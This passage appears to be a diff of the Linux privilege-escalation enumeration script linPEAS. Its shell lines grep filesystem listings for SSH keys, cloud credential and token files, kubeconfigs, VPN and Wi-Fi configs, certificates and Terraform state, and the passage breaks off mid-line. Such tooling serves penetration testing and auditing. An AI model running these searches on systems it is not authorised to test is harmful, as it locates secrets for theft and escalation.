+ PSTORAGE_HOSTAPD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "system-connections$" | sort | uniq | head -n 70)
+ PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "pam\.d$" | sort | uniq | head -n 70)
+ PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "exports$" | sort | uniq | head -n 70)
+ PSTORAGE_GLUSTERFS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "glusterfs\.pem$|glusterfs\.ca$|glusterfs\.key$" | sort | uniq | head -n 70)
+ PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70)
+ PSTORAGE_TERRAFORM=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.tfstate$|.*\.tf$" | sort | uniq | head -n 70)
+ PSTORAGE_RACOON=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70)
+ PSTORAGE_KUBERNETES=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "kubeconfig$|bootstrap-kubeconfig$|kubelet-kubeconfig$|kubelet\.conf$|psk\.txt$|\.kube.*$|kubelet$|kube-proxy$|kubernetes$" | sort | uniq | head -n 70)
+ PSTORAGE_VNC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/mime/' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70)
+ PSTORAGE_LDAP=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ldap$" | sort | uniq | head -n 70)
+ PSTORAGE_LOG4SHELL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}cdrom" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70)
+ PSTORAGE_OPENVPN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70)
+ PSTORAGE_SSH=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$|.*\.pub$" | sort | uniq | head -n 70)
+ PSTORAGE_CERTSB4=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib.*' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70)
+ PSTORAGE_CERTSBIN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib/.*|^/usr/share/|/usr/local/lib/|/usr/lib/.*' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70)
+ PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib/.*' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70)
+ PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '.dll' | grep -E "^${ROOT_FOLDER}tmp" | grep -E "agent.*$" | sort | uniq | head -n 70)
+ PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}usr|^$GREPHOMESEARCH" | grep -E "ssh.*config$" | sort | uniq | head -n 70)
+ PSTORAGE_SNYK=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "snyk\.json$|snyk\.config\.json$" | sort | uniq | head -n 70)
+ PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "credentials\.db$|legacy_credentials\.db$|adc\.json$|\.boto$|\.credentials\.json$|firebase-tools\.json$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|gcloud$|legacy_credentials$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|ErrorRecords$|TokenCache\.dat$|\.bluemix$|doctl$" | sort | uniq | head -n 70)
+ PSTORAGE_ROAD_RECON=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.roadtools_auth$" | sort | uniq | head -n 70)
+ PSTORAGE_FREEIPA=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep 